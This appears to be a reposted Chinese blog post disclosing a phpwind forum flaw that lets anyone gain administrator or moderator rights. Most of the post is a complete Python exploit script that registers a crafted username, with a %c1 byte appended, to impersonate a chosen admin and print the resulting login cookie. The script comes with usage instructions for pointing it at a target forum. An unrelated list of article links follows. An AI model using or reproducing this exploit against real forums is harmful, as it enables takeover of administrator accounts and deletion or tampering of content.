zoukankan      html  css  js  c++  java
  • phpwind管理权限泄露漏洞

    漏洞说明:phpwind是国内使用非常广泛的一款程序,由于在程序设计上存在错误,导致任何人可以取得前台管理员及斑主权限,做删除帖子等任意操作
    漏洞分析:由于phpwind论坛在设计上对数据库存储机制不了解,导致在程序逻辑上判断有问题,用精心构造的数据注册用户即可获得管理权限
    漏洞测试:

    [code]
    # -*- coding: gb2312 -*-
    import urllib2,httplib,sys
    httplib.HTTPConnection.debuglevel = 1
    cookies = urllib2.HTTPCookieProcessor()
    opener = urllib2.build_opener(cookies)


    def banner():
        print ""
        print "########################################################"
        print "Phpwind所有版本管理权限泄露漏洞利用poc"
        print "Copyright (C) 2006"
        print "jianxin@80sec.com"
        print "80sec是一个新的致力于web安全的小团体"
        print "http://www.80sec.com"

    def usage():
        banner()
        print "Usage:\n"
        print "   $ ./phpwind.py pwforumurl usertoattack\n"
        print "   pwforumurl 目标论坛地址如http://www.80sec.com/"
        print "   usertoattack 目标拥有权限的斑竹或管理员"
        print "   攻击结果将会在目标论坛注册一个和目标用户一样的帐户"
        print "   最新版本可以使用uid登陆"
        print "   其他版本可以使用cookie+useragent登陆"
        print "########################################################"
        print ""


    argvs=sys.argv
    usage()


    data = "regname=%s%s1&regpwd=@80sec&regpwdrepeat=@80sec&regemail=foo@foo.com&regemailtoall=1&step=2" % (argvs[2],"%c1")
    pwurl = "%s/register.php" % argvs[1]

    request = urllib2.Request(
    url     = pwurl ,
            headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},
            data    = data)

    f=opener.open(request)
    headers=f.headers.dict
    cookie=headers["set-cookie"]
    try:
    if cookie.index('winduser'):
    print "Exploit Success!"
    print "Login with uid password @80sec or Cookie:"
    print cookie
    print "User-agent: 80sec owned this"
    except:
    print "Error! http://www.80sec.com"
    print "Connect root#80sec.com"
    [/code]
  • 相关阅读:
    http协议详解(经典版)
    Sql语句清理日志文件
    Case when用法
    Sql Server 语句美化工具,SQL Pretty Printer Add-In for SSMS
    Ext.Net保存前判断GridPanel中必填项是否为空
    JavaScript中判断对象的值是否为undefined、null
    Your project specifies TypeScriptToolsVersion 3.1, but a matching compiler was not found. The latest available TypeScript compiler will be used (3.3). To remove this warning, install the TypeScript 3.
    gist.github.com 被墙无法访问解决办法
    VSCode 多标签打开文件
    VSCode安装与配置Eslint
  • 原文地址:https://www.cnblogs.com/Safe3/p/1211627.html
Copyright © 2011-2022 走看看